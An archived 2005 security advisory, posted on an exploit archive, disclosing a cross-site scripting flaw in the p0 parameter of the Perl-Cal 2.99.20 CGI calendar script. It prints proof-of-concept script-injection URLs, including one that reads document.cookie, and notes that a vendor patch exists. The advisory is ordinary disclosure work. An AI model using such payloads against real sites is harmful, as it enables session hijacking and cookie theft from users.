the internet's safety

perl-cal-29920.txt

perl-cal-29920.txt
Posted Dec 14, 2005
Authored by Sumit Siddharth

Perl-Cal version 2.99.20, the CGI script written by Acme Software, is susceptible to cross site scripting.

tags | exploit, cgi, perl, xss
MD5 | b903eca64d8af5272644b0927b77790d

perl-cal-29920.txt

Change Mirror Download
------=_Part_17141_22617522.1134045408185
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Vendor: Perl-Cal

Version tested: Perl-Cal 2.99.20 , other versions may also be affected.

Type: Cross Site Scripting

Severity: Medium

Vulnerability discovered:- 23rd Nov 2005

Date released:-8 dec 2005

Vulnerability Type: Input Validation Error

Overview:- PerlCal is a CGI script written by Acme Software that allows
web-based calendar sharing and related functions.There exists a cross-site
scripting vulnerability as the input in one of the parameters(p0) is not
filtered correctly.

Description:- The cross-site scripting bug can be executed with a URL like
so:

http://localhost/cgi-bin/perlcal/cal_make.pl
?p0=3D%3Cscript%3Ealert('hi');%3C/script%3E

This issue could permit a remote attacker to create a malicious URL link
that includes hostile HTML and script code. If this link were to be
followed, the hostile code may be rendered in the web browser of the victim
user. This would occur in the security context of the affected Web site.

Demonstration:- http://localhost/cgi-bin/perlcal/cal_make.pl
?p0=3D%3Cscript%3Ewindow.open('http://www.google.com');%3Cscript%3E<http://=
www.google.com%27%29;%3Cscript%3E>

Other attacks:-
http://localhost/cgi-bin/perlcal/cal_make.pl
?p0=3D%3Cscript%3Ealert(document.cookie);</script>

Solution:
--------------------
Vendor has released a patch.

Credits:- $um$id

Sumit

------=_Part_17141_22617522.1134045408185
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<br>
Vendor: Perl-Cal<br>
<br>
Version tested: Perl-Cal 2.99.20 , other versions may also be affected.<br>
<br>
Type: Cross Site Scripting<br>
<br>
Severity: Medium<br>
<br>
Vulnerability discovered:- 23rd Nov 2005<br>
<br>
Date released:-8 dec 2005<br>
<br>
Vulnerability Type: Input Validation Error<br>
<br>
Overview:-
PerlCal is a CGI script written by Acme Software that allows web-based
calendar sharing and related functions.There exists a cross-site
scripting vulnerability as the input in one of the parameters(p0) is not
filtered correctly.<br>
<br>
Description:- The cross-site scripting bug can be executed with a URL like =
so:<br>
<br>
<a href=3D"http://localhost/cgi-bin/perlcal/cal_make.pl" target=3D"_blank" =
onclick=3D"return top.js.OpenExtLink(window,event,this)">http://localhost/c=
gi-bin/perlcal/cal_make.pl</a><br>
?p0=3D%3Cscript%3Ealert('hi');%3C/script%3E<br>
<br>
This
issue could permit a remote attacker to create a malicious URL link
that includes hostile HTML and script code. If this link were to be
followed, the hostile code may be rendered in the web browser of the
victim user. This would occur in the security context of the affected
Web site.<br>
<br>
Demonstration:- <a href=3D"http://localhost/cgi-bin/perlcal/cal_make.pl" ta=
rget=3D"_blank" onclick=3D"return top.js.OpenExtLink(window,event,this)">ht=
tp://localhost/cgi-bin/perlcal/cal_make.pl</a><br>
?p0=3D%3Cscript%3Ewindow.open('<a href=3D"http://www.google.com%27%29;%3Csc=
ript%3E" target=3D"_blank" onclick=3D"return top.js.OpenExtLink(window,even=
t,this)">http://www.google.com');%3Cscript%3E</a><br>
<br>Other attacks:-<br>
<a href=3D"http://localhost/cgi-bin/perlcal/cal_make.pl" target=3D"_blank" =
onclick=3D"return top.js.OpenExtLink(window,event,this)">http://localhost/c=
gi-bin/perlcal/cal_make.pl</a><br>

?p0=3D%3Cscript%3Ealert(document.cookie);</script><br>
<br>
Solution:<br>
--------------------<br>
Vendor has released a patch.<br>
<br>
Credits:- $um$id<br>
<br>
Sumit<br>





------=_Part_17141_22617522.1134045408185--

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close